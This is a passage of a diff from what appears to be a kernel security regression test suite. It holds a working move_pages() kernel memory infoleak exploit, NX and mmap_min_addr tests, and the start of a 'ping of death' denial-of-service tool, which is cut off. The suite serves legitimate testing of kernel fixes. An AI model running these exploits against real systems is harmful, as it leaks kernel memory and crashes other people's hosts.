checking in a bitmap based on node_states[2] or node_states[3]
|
||||
(former if HIGHMEM is not present, latter if it is)
|
||||
|
||||
each node_state is of type nodemask_t, which is is a bitmap of size
|
||||
MAX_NUMNODES/8
|
||||
|
||||
RHEL 5.4 has MAX_NUMNODES set to 64, which makes this 8 bytes in size
|
||||
|
||||
so the effective base we're working with is either node_states +
|
||||
16 or node_states + 24
|
||||
|
||||
on 2.6.18 it's based off node_online_map
|
||||
|
||||
node_isset does a test_bit based on this base
|
||||
|
||||
so our specfic case does: base[ourval / 8] & (1 << (ourval & 7))
|
||||
|
||||
All the calculations appear to be signed, so we can both index in
|
||||
the negative and positive direction, based on ourval
|
||||
|
||||
On 64bit, this gives us a 256MB range above and below our base to
|
||||
grab memory of (by passing in a single page and a single node for
|
||||
each bit we want to leak the value of, we can reconstruct entire bytes)
|
||||
|
||||
We can determine MAX_NUMNODES by looking up two adjacent numa bitmaps,
|
||||
subtracting their difference, and multiplying by 8 but we don't need
|
||||
to do this.
|
||||
*/
|
||||
|
||||
struct exploit_state *exp_state;
|
||||
|
||||
char *desc = "Sieve: Linux 2.6.18+ move_pages() infoleak";
|
||||
|
||||
int get_exploit_state_ptr(struct exploit_state *ptr)
|
||||
{
|
||||
exp_state = ptr;
|
||||
return 0;
|
||||
}
|
||||
|
||||
int requires_null_page = 0;
|
||||
|
||||
void addr_to_nodes(unsigned long addr, int *nodes)
|
||||
{
|
||||
int i;
|
||||
int min = 0x80000000 / 8;
|
||||
int max = 0x7fffffff / 8;
|
||||
|
||||
if ((addr < (our_base - min)) ||
|
||||
(addr > (our_base + max))) {
|
||||
fprintf(stdout, "Error: Unable to dump address %#.8lx\n", addr);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
for (i = 0; i < 8; i++) {
|
||||
nodes[i] = ((int)(addr - our_base) << 3) | i;
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
char *buf;
|
||||
unsigned char get_byte_at_addr(unsigned long addr)
|
||||
{
|
||||
int nodes[8];
|
||||
int node;
|
||||
int status;
|
||||
int i;
|
||||
int ret;
|
||||
unsigned char tmp = 0;
|
||||
|
||||
addr_to_nodes(addr, (int *)&nodes);
|
||||
for (i = 0; i < 8; i++) {
|
||||
node = nodes[i];
|
||||
ret = syscall(__NR_move_pages, 0, 1, &buf, &node, &status, MPOL_MF_MOVE);
|
||||
if (errno == ENOSYS) {
|
||||
fprintf(stdout, "Error: move_pages is not supported on this kernel.\n");
|
||||
exit(1);
|
||||
} else if (errno != ENODEV)
|
||||
tmp |= (1 << i);
|
||||
}
|
||||
|
||||
return tmp;
|
||||
}
|
||||
|
||||
void menu(void)
|
||||
{
|
||||
fprintf(stdout, "Enter your choice:\n"
|
||||
" [0] Dump via symbol/address with length\n"
|
||||
" [1] Dump entire range to file\n"
|
||||
" [2] Quit\n");
|
||||
}
|
||||
|
||||
int trigger(void)
|
||||
{
|
||||
unsigned long addr;
|
||||
unsigned long addr2;
|
||||
unsigned char thebyte;
|
||||
unsigned char choice = 0;
|
||||
char ibuf[1024];
|
||||
char *p;
|
||||
FILE *f;
|
||||
|
||||
// get lingering \n
|
||||
getchar();
|
||||
while (choice != '2') {
|
||||
menu();
|
||||
fgets((char *)&ibuf, sizeof(ibuf)-1, stdin);
|
||||
choice = ibuf[0];
|
||||
|
||||
switch (choice) {
|
||||
case '0':
|
||||
fprintf(stdout, "Enter the symbol or address for the base:\n");
|
||||
fgets((char *)&ibuf, sizeof(ibuf)-1, stdin);
|
||||
p = strrchr((char *)&ibuf, '\n');
|
||||
if (p)
|
||||
*p = '\0';
|
||||
addr = exp_state->get_kernel_sym(ibuf);
|
||||
if (addr == 0) {
|
||||
addr = strtoul(ibuf, NULL, 16);
|
||||
}
|
||||
if (addr == 0) {
|
||||
fprintf(stdout, "Invalid symbol or address.\n");
|
||||
break;
|
||||
}
|
||||
addr2 = 0;
|
||||
while (addr2 == 0) {
|
||||
fprintf(stdout, "Enter the length of bytes to read in hex:\n");
|
||||
fscanf(stdin, "%lx", &addr2);
|
||||
// get lingering \n
|
||||
getchar();
|
||||
}
|
||||
addr2 += addr;
|
||||
|
||||
fprintf(stdout, "Leaked bytes:\n");
|
||||
while (addr < addr2) {
|
||||
thebyte = get_byte_at_addr(addr);
|
||||
printf("%02x ", thebyte);
|
||||
addr++;
|
||||
}
|
||||
printf("\n");
|
||||
break;
|
||||
case '1':
|
||||
addr = our_base - 0x10000000;
|
||||
#ifdef __x86_64__
|
||||
/*
|
||||
our lower bound will cause us to access
|
||||
bad addresses and cause an oops
|
||||
*/
|
||||
if (addr < 0xffffffff80000000)
|
||||
addr = 0xffffffff80000000;
|
||||
#else
|
||||
if (addr < 0x80000000)
|
||||
addr = 0x80000000;
|
||||
else if (addr < 0xc0000000)
|
||||
addr = 0xc0000000;
|
||||
#endif
|
||||
addr2 = our_base + 0x10000000;
|
||||
f = fopen("./kernel.bin", "w");
|
||||
if (f == NULL) {
|
||||
fprintf(stdout, "Error: unable to open ./kernel.bin for writing\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
fprintf(stdout, "Dumping to kernel.bin (this will take a while): ");
|
||||
fflush(stdout);
|
||||
while (addr < addr2) {
|
||||
thebyte = get_byte_at_addr(addr);
|
||||
fputc(thebyte, f);
|
||||
if (!(addr % (128 * 1024))) {
|
||||
fprintf(stdout, ".");
|
||||
fflush(stdout);
|
||||
}
|
||||
addr++;
|
||||
}
|
||||
fprintf(stdout, "done.\n");
|
||||
fclose(f);
|
||||
break;
|
||||
case '2':
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int prepare(unsigned char *ptr)
|
||||
{
|
||||
int node;
|
||||
int found_gap = 0;
|
||||
int i;
|
||||
int ret;
|
||||
int status;
|
||||
|
||||
totalhigh_pages = exp_state->get_kernel_sym("totalhigh_pages");
|
||||
node_states = exp_state->get_kernel_sym("node_states");
|
||||
node_online_map = exp_state->get_kernel_sym("node_online_map");
|
||||
|
||||
buf = malloc(4096);
|
||||
|
||||
/* cheap hack, won't work on actual NUMA systems -- for those we could use the alternative noted
|
||||
towards the beginning of the file, here we're just working until we leak the first bit of the adjacent table,
|
||||
which will be set for our single node -- this gives us the size of the bitmap
|
||||
*/
|
||||
for (i = 0; i < 512; i++) {
|
||||
node = i;
|
||||
ret = syscall(__NR_move_pages, 0, 1, &buf, &node, &status, MPOL_MF_MOVE);
|
||||
if (errno == ENOSYS) {
|
||||
fprintf(stdout, "Error: move_pages is not supported on this kernel.\n");
|
||||
exit(1);
|
||||
} else if (errno == ENODEV) {
|
||||
found_gap = 1;
|
||||
} else if (found_gap == 1) {
|
||||
max_numnodes = i;
|
||||
fprintf(stdout, " [+] Detected MAX_NUMNODES as %d\n", max_numnodes);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (node_online_map != 0)
|
||||
our_base = node_online_map;
|
||||
/* our base for this depends on the existence of HIGHMEM and the value of MAX_NUMNODES, since it determines the size
|
||||
of each bitmap in the array our base is in the middle of
|
||||
we've taken account for all this
|
||||
*/
|
||||
else if (node_states != 0)
|
||||
our_base = node_states + (totalhigh_pages ? (3 * (max_numnodes / 8)) : (2 * (max_numnodes / 8)));
|
||||
else {
|
||||
fprintf(stdout, "Error: kernel doesn't appear vulnerable.\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int post(void)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Added to run stand-alone
|
||||
#include <sys/utsname.h>
|
||||
static unsigned long get_kernel_sym(char *name)
|
||||
{
|
||||
FILE *f;
|
||||
unsigned long addr;
|
||||
char dummy;
|
||||
char sname[512];
|
||||
struct utsname ver;
|
||||
int ret;
|
||||
int rep = 0;
|
||||
int oldstyle = 0;
|
||||
|
||||
f = fopen("/proc/kallsyms", "r");
|
||||
if (f == NULL) {
|
||||
f = fopen("/proc/ksyms", "r");
|
||||
if (f == NULL)
|
||||
goto fallback;
|
||||
oldstyle = 1;
|
||||
}
|
||||
|
||||
repeat:
|
||||
ret = 0;
|
||||
while(ret != EOF) {
|
||||
if (!oldstyle)
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
else {
|
||||
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
|
||||
if (ret == 2) {
|
||||
char *p;
|
||||
if (strstr(sname, "_O/") || strstr(sname, "_S."))
|
||||
continue;
|
||||
p = strrchr(sname, '_');
|
||||
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
|
||||
p = p - 4;
|
||||
while (p > (char *)sname && *(p - 1) == '_')
|
||||
p--;
|
||||
*p = '\0';
|
||||
}
|
||||
}
|
||||
}
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
if (rep)
|
||||
return 0;
|
||||
fallback:
|
||||
/* didn't find the symbol, let's retry with the System.map
|
||||
dedicated to the pointlessness of Russell Coker's SELinux
|
||||
test machine (why does he keep upgrading the kernel if
|
||||
"all necessary security can be provided by SE Linux"?)
|
||||
*/
|
||||
uname(&ver);
|
||||
if (strncmp(ver.release, "2.6", 3))
|
||||
oldstyle = 1;
|
||||
sprintf(sname, "/boot/System.map-%s", ver.release);
|
||||
f = fopen(sname, "r");
|
||||
if (f == NULL)
|
||||
return 0;
|
||||
rep = 1;
|
||||
goto repeat;
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
struct exploit_state enlightenment;
|
||||
unsigned long addr, len, addr2;
|
||||
unsigned char thebyte;
|
||||
|
||||
if (argc<3) {
|
||||
fprintf(stderr,"Usage: %s 0xADDR 0xLENGTH\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
addr = get_kernel_sym(argv[1]);
|
||||
len = strtoul(argv[2], NULL, 16);
|
||||
addr2 = addr + len;
|
||||
|
||||
enlightenment.get_kernel_sym = get_kernel_sym;
|
||||
get_exploit_state_ptr(&enlightenment);
|
||||
prepare(NULL);
|
||||
|
||||
printf("Reading %p-%p (%p) ...\n", (void*)addr, (void*)addr2, (void*)len);
|
||||
|
||||
while (addr < addr2) {
|
||||
thebyte = get_byte_at_addr(addr);
|
||||
printf("%02x ", thebyte);
|
||||
addr++;
|
||||
}
|
||||
printf("\n");
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,14 @@
|
|||
CFLAGS=-Wall -Werror -Wformat -Wformat-security -O2 -D_FORTIFY_SOURCE=2
|
||||
|
||||
EXECS=low-mmap mappage0 low-mmap-setuid
|
||||
|
||||
all: $(EXECS)
|
||||
|
||||
clean:
|
||||
rm -f $(EXECS)
|
||||
|
||||
low-mmap-setuid: low-mmap.c
|
||||
$(CC) $(CFLAGS) -o $@-notsetuid $<
|
||||
#sudo chown root $@-notsetuid && sudo chmod u+s $@-notsetuid
|
||||
chmod u+s $@-notsetuid
|
||||
mv $@-notsetuid $@
|
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,76 @@
|
|||
/*
|
||||
* Tests lower 64k userspace mmap availability, which should be enforced via
|
||||
* /proc/sys/vm/mmap_min_addr.
|
||||
*
|
||||
* Copyright (C) 2008 Canonical, Ltd.
|
||||
* Author: Kees Cook <kees@ubuntu.com>
|
||||
* License: GPLv3
|
||||
*
|
||||
*/
|
||||
#define _GNU_SOURCE
|
||||
#include <stdio.h>
|
||||
#include <sys/mman.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <errno.h>
|
||||
#include <string.h>
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
int page;
|
||||
void *memory;
|
||||
int bad_mem_failed = 0, good_mem_failed = 0;
|
||||
long pagesize = sysconf(_SC_PAGE_SIZE);
|
||||
int need_nl = 1;
|
||||
int testsize = 0;
|
||||
if (argc>1) testsize=atoi(argv[1]);
|
||||
if (!testsize) testsize=65536;
|
||||
testsize = (testsize+pagesize-1) & ~(pagesize-1);
|
||||
printf("using testsize %d after aligning to pagesize %ld\n", testsize, pagesize);
|
||||
|
||||
// drop setuidness (for MMAP_PAGE_ZERO testing)
|
||||
if (geteuid() != getuid()) {
|
||||
if (setresuid(getuid(),getuid(),getuid())) {
|
||||
fprintf(stderr, "Failed to call setresuid: %s\n", strerror(errno));
|
||||
exit(errno);
|
||||
}
|
||||
}
|
||||
|
||||
// verify we cannot map any pages within the lower "testsize" bytes of memory.
|
||||
printf("Testing lower %d bytes in %ld byte chunks: ", testsize, pagesize);
|
||||
fflush(stdout);
|
||||
for (page = 0; page < testsize/pagesize; page++) {
|
||||
memory = mmap((void*)(page*pagesize), pagesize, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
|
||||
if (memory != MAP_FAILED) {
|
||||
bad_mem_failed = 1;
|
||||
if (need_nl) {
|
||||
need_nl = 0;
|
||||
fprintf(stderr,"\n");
|
||||
}
|
||||
fprintf(stderr,"\tUnexpectedly allocated %ld bytes at 0x%08lx\n",
|
||||
pagesize, (unsigned long)memory);
|
||||
}
|
||||
}
|
||||
printf("%s\n", bad_mem_failed ? "FAIL (able to allocate memory)"
|
||||
: "pass (could not allocate memory)");
|
||||
|
||||
// verify we can map space just above the blocked area (i.e. mmap
|
||||
// itself isn't broken).
|
||||
printf("Testing %ld byte chunk above %d: ", pagesize, testsize-1);
|
||||
fflush(stdout);
|
||||
if ((long)main > ((long)page*pagesize) && (long)main < ((long)page*pagesize + pagesize)) {
|
||||
printf("skipped, main is mapped very low! (ARM?)\n");
|
||||
}
|
||||
else {
|
||||
memory = mmap((void*)(page*pagesize), pagesize, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
|
||||
if (memory == MAP_FAILED) {
|
||||
good_mem_failed = 1;
|
||||
fprintf(stderr,"\n\tUnexpectedly unable to allocate %ld bytes at 0x%08lx\n",
|
||||
pagesize, page*pagesize);
|
||||
}
|
||||
printf("%s\n", good_mem_failed ? "FAIL (cannot allocate memory)"
|
||||
: "pass (able to allocate memory)");
|
||||
}
|
||||
|
||||
return (bad_mem_failed | good_mem_failed);
|
||||
}
|
Binary file not shown.
|
@ -0,0 +1,29 @@
|
|||
/*
|
||||
* Set MMAP_PAGE_ZERO to call a setuid mmap tester.
|
||||
*
|
||||
* Copyright (C) 2008 Canonical, Ltd.
|
||||
* Author: Kees Cook <kees@ubuntu.com>
|
||||
* License: GPLv3
|
||||
*
|
||||
*/
|
||||
#define _GNU_SOURCE
|
||||
#include <stdio.h>
|
||||
#include <sys/mman.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/personality.h>
|
||||
#include <assert.h>
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
unsigned long curr, want;
|
||||
curr = want = personality(0xffffffff);
|
||||
want |= MMAP_PAGE_ZERO;
|
||||
personality(want);
|
||||
curr = want = personality(0xffffffff);
|
||||
assert(curr == want);
|
||||
|
||||
execl("./low-mmap-setuid","low-mmap-setuid",argv[1],NULL);
|
||||
perror("execl");
|
||||
return 1;
|
||||
}
|
|
@ -0,0 +1,18 @@
|
|||
#!/bin/sh
|
||||
MAPS=/proc/sys/vm/mmap_min_addr
|
||||
|
||||
EXPECTED="$1"
|
||||
PREVIOUS=$(cat $MAPS 2>/dev/null || echo 0)
|
||||
|
||||
if [ "$EXPECTED" != "$PREVIOUS" ]; then
|
||||
echo "Yikes! mmap_min_addr did not start as $EXPECTED (saw $PREVIOUS)" >&2
|
||||
exit 255
|
||||
fi
|
||||
|
||||
echo 0 > $MAPS
|
||||
sudo -u $SUDO_USER ./low-mmap $EXPECTED
|
||||
rc=$?
|
||||
if [ -r $MAPS ]; then
|
||||
echo $PREVIOUS > $MAPS
|
||||
fi
|
||||
exit $rc
|
|
@ -0,0 +1,14 @@
|
|||
CFLAGS=-g -Wall -Werror -Wformat -Wformat-security -O0
|
||||
|
||||
EXECS=nx-test nx-test-pie nx-test-rie
|
||||
|
||||
all: $(EXECS)
|
||||
|
||||
nx-test-pie: nx-test.c
|
||||
$(CC) $(CFLAGS) -fPIE -pie -o $@ $<
|
||||
|
||||
nx-test-rie: nx-test.c
|
||||
$(CC) $(CFLAGS) -Wl,-z,execstack -o $@ $<
|
||||
|
||||
clean:
|
||||
rm -f $(EXECS) nx-test-rie.tmp
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,156 @@
|
|||
/*
|
||||
* Tests NX in various memory regions.
|
||||
*
|
||||
* Copyright (C) 2008-2009 Canonical, Ltd.
|
||||
* Author: Kees Cook <kees@ubuntu.com>
|
||||
* License: GPLv3
|
||||
*
|
||||
*/
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/mman.h>
|
||||
#include <string.h>
|
||||
#include <signal.h>
|
||||
#include <assert.h>
|
||||
|
||||
#if defined(__i386__) || defined(__x86_64__)
|
||||
/* ret; ret; ret; ret; */
|
||||
# define RET_OPCODES 0xc3c3c3c3;
|
||||
#elif defined(__ARMEL__)
|
||||
/* bx lr */
|
||||
# define RET_OPCODES 0xe12fff1e;
|
||||
void alarm_handler(int signum)
|
||||
{
|
||||
int *boom = NULL;
|
||||
printf("Pretending to segfault when ARM spins instead of crashing on NX...\n");
|
||||
fflush(NULL);
|
||||
*boom = 1;
|
||||
}
|
||||
#elif defined(__powerpc__) || defined(__powerpc64__)
|
||||
/* blr */
|
||||
# define RET_OPCODES 0x4e800020;
|
||||
#elif defined(__aarch64__)
|
||||
/* ret */
|
||||
# define RET_OPCODES 0xd65f03c0;
|
||||
#elif defined(__s390x__) || (__s390__)
|
||||
/* br %14 ; br %14 */
|
||||
# define RET_OPCODES 0x07f407f4;
|
||||
# error "Unknown opcode for function return"
|
||||
#else
|
||||
# error "Unknown opcode for function return"
|
||||
#endif
|
||||
|
||||
/* Earlier versions of gcc don't define this correctly? */
|
||||
#ifndef __clear_cache
|
||||
extern void __clear_cache (void *begin, void *end);
|
||||
#endif
|
||||
|
||||
static const unsigned int ret_rodata = RET_OPCODES;
|
||||
|
||||
#define STATIC_PAGE_SIZE_MAX (64 * 1024)
|
||||
unsigned int ret_data = RET_OPCODES;
|
||||
/* push ret_bss for sure into a separate page, instead of landing in
|
||||
the .data segment. Thanks to pipacs for pointing this out. */
|
||||
struct {
|
||||
unsigned char page_bump[STATIC_PAGE_SIZE_MAX];
|
||||
unsigned int opcode;
|
||||
} ret_bss;
|
||||
|
||||
void usage(char *argv[])
|
||||
{
|
||||
fprintf(stderr,"Usage: %s [data|rodata|bss|stack|brk|mmap|mmap-exec]\n",
|
||||
argv[0]);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
int main(int argc, char * argv[])
|
||||
{
|
||||
char *report = "Unexpected: returned from function that was marked non-executable.\nNX segment markings are not being enforced.";
|
||||
unsigned int ret_stack = RET_OPCODES;
|
||||
FILE *maps;
|
||||
char buf[128];
|
||||
void (*region_func)(void);
|
||||
long pagesize = sysconf(_SC_PAGE_SIZE);
|
||||
|
||||
/* since we need to know the minimum page size for bss/data split,
|
||||
we should verify that the system doesn't have some as-yet-never-seen
|
||||
giant page sizes. */
|
||||
assert(pagesize<=STATIC_PAGE_SIZE_MAX);
|
||||
|
||||
if (argc<2) {
|
||||
usage(argv);
|
||||
}
|
||||
|
||||
if (!strcmp(argv[1],"bss")) {
|
||||
region_func = (void*)&(ret_bss.opcode);
|
||||
}
|
||||
else if (!strcmp(argv[1],"data")) {
|
||||
region_func = (void*)&ret_data;
|
||||
}
|
||||
else if (!strcmp(argv[1],"stack")) {
|
||||
region_func = (void*)&ret_stack;
|
||||
}
|
||||
else if (!strcmp(argv[1],"rodata")) {
|
||||
region_func = (void*)&ret_rodata;
|
||||
}
|
||||
else if (!strcmp(argv[1],"mmap") || !strcmp(argv[1],"mmap-exec")) {
|
||||
int prot = PROT_READ | PROT_WRITE;
|
||||
if (!strcmp(argv[1],"mmap-exec")) {
|
||||
prot |= PROT_EXEC;
|
||||
report = "Expected: returned from function that was marked executable.";
|
||||
}
|
||||
|
||||
region_func = mmap(NULL, pagesize, prot, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
if (region_func == MAP_FAILED) {
|
||||
perror("mmap");
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
else if (!strcmp(argv[1],"brk")) {
|
||||
region_func = malloc(pagesize);
|
||||
if (!region_func) {
|
||||
perror("malloc");
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
else {
|
||||
usage(argv);
|
||||
}
|
||||
|
||||
/* Report memory regions, for clarification in NX-emu layouts */
|
||||
printf("rodata:%p\n", &ret_rodata);
|
||||
printf("data: %p\n", &ret_data);
|
||||
printf("bss: %p\n", &(ret_bss.opcode));
|
||||
printf("brk: %p\n", malloc(pagesize));
|
||||
printf("rw: %p\n", mmap(NULL, pagesize, PROT_READ|PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0));
|
||||
printf("rwx: %p\n", mmap(NULL, pagesize, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0));
|
||||
printf("stack: %p\n", &pagesize);
|
||||
|
||||
/* Set "RET" opcode for allocated regions. */
|
||||
if (region_func != (void*)&ret_data &&
|
||||
region_func != (void*)&ret_rodata) {
|
||||
*(unsigned int *)region_func = RET_OPCODES;
|
||||
}
|
||||
|
||||
printf("Dump of /proc/self/maps:\n");
|
||||
maps = fopen("/proc/self/maps","r");
|
||||
while (fgets(buf,sizeof(buf),maps)) {
|
||||
printf("%s",buf);
|
||||
}
|
||||
fclose(maps);
|
||||
printf("Attempting to execute function at %p\n",region_func);
|
||||
printf("If this program seg-faults, the region was enforced as non-executable...\n");
|
||||
fflush(NULL);
|
||||
__clear_cache(region_func, region_func + sizeof(int));
|
||||
|
||||
#if defined(__ARMEL__)
|
||||
signal(SIGALRM, alarm_handler);
|
||||
alarm(1); /* ARM seems to spin instead of crash in some kernels */
|
||||
#endif
|
||||
region_func();
|
||||
alarm(0);
|
||||
|
||||
puts(report);
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,201 @@
|
|||
/*
|
||||
* Modified for modern compilation on Ubuntu, this is CVE-2009-1298. -Kees Cook
|
||||
*
|
||||
* win95ping.c
|
||||
*
|
||||
* Simulate the evil win95 "ping -l 65510 buggyhost".
|
||||
* version 1.0 Bill Fenner <fenner@freebsd.org> 22-Oct-1996
|
||||
* version 1.01 Mike Bremford <Mike.Bremford@bl.uk> patched for Linux
|
||||
* version 1.02 Barak Pearlmutter <bap@sloan.salk.edu> clean compile
|
||||
*
|
||||
* This requires raw sockets that don't mess with the packet at all (other
|
||||
* than adding the checksum). That means that SunOS, Solaris, and
|
||||
* BSD4.3-based systems are out. BSD4.4 systems (FreeBSD, NetBSD,
|
||||
* OpenBSD, BSDI) will work. Linux might work, I don't have a Linux
|
||||
* system to try it on.
|
||||
*
|
||||
* The attack from the Win95 box looks like:
|
||||
* 17:26:11.013622 cslwin95 > arkroyal: icmp: echo request (frag 6144:1480@0+)
|
||||
* 17:26:11.015079 cslwin95 > arkroyal: (frag 6144:1480@1480+)
|
||||
* 17:26:11.016637 cslwin95 > arkroyal: (frag 6144:1480@2960+)
|
||||
* 17:26:11.017577 cslwin95 > arkroyal: (frag 6144:1480@4440+)
|
||||
* 17:26:11.018833 cslwin95 > arkroyal: (frag 6144:1480@5920+)
|
||||
* 17:26:11.020112 cslwin95 > arkroyal: (frag 6144:1480@7400+)
|
||||
* 17:26:11.021346 cslwin95 > arkroyal: (frag 6144:1480@8880+)
|
||||
* 17:26:11.022641 cslwin95 > arkroyal: (frag 6144:1480@10360+)
|
||||
* 17:26:11.023869 cslwin95 > arkroyal: (frag 6144:1480@11840+)
|
||||
* 17:26:11.025140 cslwin95 > arkroyal: (frag 6144:1480@13320+)
|
||||
* 17:26:11.026604 cslwin95 > arkroyal: (frag 6144:1480@14800+)
|
||||
* 17:26:11.027628 cslwin95 > arkroyal: (frag 6144:1480@16280+)
|
||||
* 17:26:11.028871 cslwin95 > arkroyal: (frag 6144:1480@17760+)
|
||||
* 17:26:11.030100 cslwin95 > arkroyal: (frag 6144:1480@19240+)
|
||||
* 17:26:11.031307 cslwin95 > arkroyal: (frag 6144:1480@20720+)
|
||||
* 17:26:11.032542 cslwin95 > arkroyal: (frag 6144:1480@22200+)
|
||||
* 17:26:11.033774 cslwin95 > arkroyal: (frag 6144:1480@23680+)
|
||||
* 17:26:11.035018 cslwin95 > arkroyal: (frag 6144:1480@25160+)
|
||||
* 17:26:11.036576 cslwin95 > arkroyal: (frag 6144:1480@26640+)
|
||||
* 17:26:11.037464 cslwin95 > arkroyal: (frag 6144:1480@28120+)
|
||||
* 17:26:11.038696 cslwin95 > arkroyal: (frag 6144:1480@29600+)
|
||||
* 17:26:11.039966 cslwin95 > arkroyal: (frag 6144:1480@31080+)
|
||||
* 17:26:11.041218 cslwin95 > arkroyal: (frag 6144:1480@32560+)
|
||||
* 17:26:11.042579 cslwin95 > arkroyal: (frag 6144:1480@34040+)
|
||||
* 17:26:11.043807 cslwin95 > arkroyal: (frag 6144:1480@35520+)
|
||||
* 17:26:11.046276 cslwin95 > arkroyal: (frag 6144:1480@37000+)
|
||||
* 17:26:11.047236 cslwin95 > arkroyal: (frag 6144:1480@38480+)
|
||||
* 17:26:11.048478 cslwin95 > arkroyal: (frag 6144:1480@39960+)
|
||||
* 17:26:11.049698 cslwin95 > arkroyal: (frag 6144:1480@41440+)
|
||||
* 17:26:11.050929 cslwin95 > arkroyal: (frag 6144:1480@42920+)
|
||||
* 17:26:11.052164 cslwin95 > arkroyal: (frag 6144:1480@44400+)
|
||||
* 17:26:11.053398 cslwin95 > arkroyal: (frag 6144:1480@45880+)
|
||||
* 17:26:11.054685 cslwin95 > arkroyal: (frag 6144:1480@47360+)
|
||||
* 17:26:11.056347 cslwin95 > arkroyal: (frag 6144:1480@48840+)
|
||||
* 17:26:11.057313 cslwin95 > arkroyal: (frag 6144:1480@50320+)
|
||||
* 17:26:11.058357 cslwin95 > arkroyal: (frag 6144:1480@51800+)
|
||||
* 17:26:11.059588 cslwin95 > arkroyal: (frag 6144:1480@53280+)
|
||||
* 17:26:11.060787 cslwin95 > arkroyal: (frag 6144:1480@54760+)
|
||||
* 17:26:11.062023 cslwin95 > arkroyal: (frag 6144:1480@56240+)
|
||||
* 17:26:11.063247 cslwin95 > arkroyal: (frag 6144:1480@57720+)
|
||||
* 17:26:11.064479 cslwin95 > arkroyal: (frag 6144:1480@59200+)
|
||||
* 17:26:11.066252 cslwin95 > arkroyal: (frag 6144:1480@60680+)
|
||||
* 17:26:11.066957 cslwin95 > arkroyal: (frag 6144:1480@62160+)
|
||||
* 17:26:11.068220 cslwin95 > arkroyal: (frag 6144:1480@63640+)
|
||||
* 17:26:11.069107 cslwin95 > arkroyal: (frag 6144:398@65120)
|
||||
*
|
||||
*/
|
||||
|
||||
#define LINUX
|
||||
|
||||
#ifdef LINUX
|
||||
#define REALLY_RAW
|
||||
#define __BSD_SOURCE
|
||||
#ifndef IP_MF
|
||||
#define IP_MF 0x2000
|
||||
#define IP_DF 0x4000
|
||||
#define IP_CE 0x8000
|
||||
#define IP_OFFSET 0x1FFF
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#include <stdio.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netdb.h>
|
||||
#include <netinet/in.h>
|
||||
#include <netinet/in_systm.h>
|
||||
#include <netinet/ip.h>
|
||||
#include <netinet/ip_icmp.h>
|
||||
#include <string.h>
|
||||
#include <arpa/inet.h>
|
||||
|
||||
/*
|
||||
* If your kernel doesn't muck with raw packets, #define REALLY_RAW.
|
||||
* This is probably only Linux.
|
||||
*/
|
||||
#ifdef REALLY_RAW
|
||||
#define FIX(x) htons(x)
|
||||
#else
|
||||
#define FIX(x) (x)
|
||||
#endif
|
||||
|
||||
|
||||
int
|
||||
main(int argc, char **argv)
|
||||
{
|
||||
int s;
|
||||
char buf[1500];
|
||||
struct ip *ip = (struct ip *)buf;
|
||||
#ifdef LINUX
|
||||
struct icmphdr *icmp = (struct icmphdr *)(ip + 1);
|
||||
#else
|
||||
struct icmp *icmp = (struct icmp *)(ip + 1);
|
||||
#endif
|
||||
struct hostent *hp;
|
||||
struct sockaddr_in dst;
|
||||
int offset;
|
||||
int on = 1;
|
||||
|
||||
bzero(buf, sizeof buf);
|
||||
|
||||
if ((s = socket(AF_INET, SOCK_RAW,
|
||||
#ifdef LINUX
|
||||
IPPROTO_ICMP
|
||||
#else
|
||||
IPPROTO_IP
|
||||
#endif
|
||||
)) < 0) {
|
||||
perror("socket");
|
||||
exit(1);
|
||||
}
|
||||
if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
|
||||
perror("IP_HDRINCL");
|
||||
exit(1);
|
||||
}
|
||||
if (argc != 2) {
|
||||
fprintf(stderr, "usage: %s hostname\n", argv[0]);
|
||||
exit(1);
|
||||
}
|
||||
if ((hp = gethostbyname(argv[1])) == NULL) {
|
||||
if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {
|
||||
fprintf(stderr, "%s: unknown host\n", argv[1]);
|
||||
exit(1);
|
||||
}
|
||||
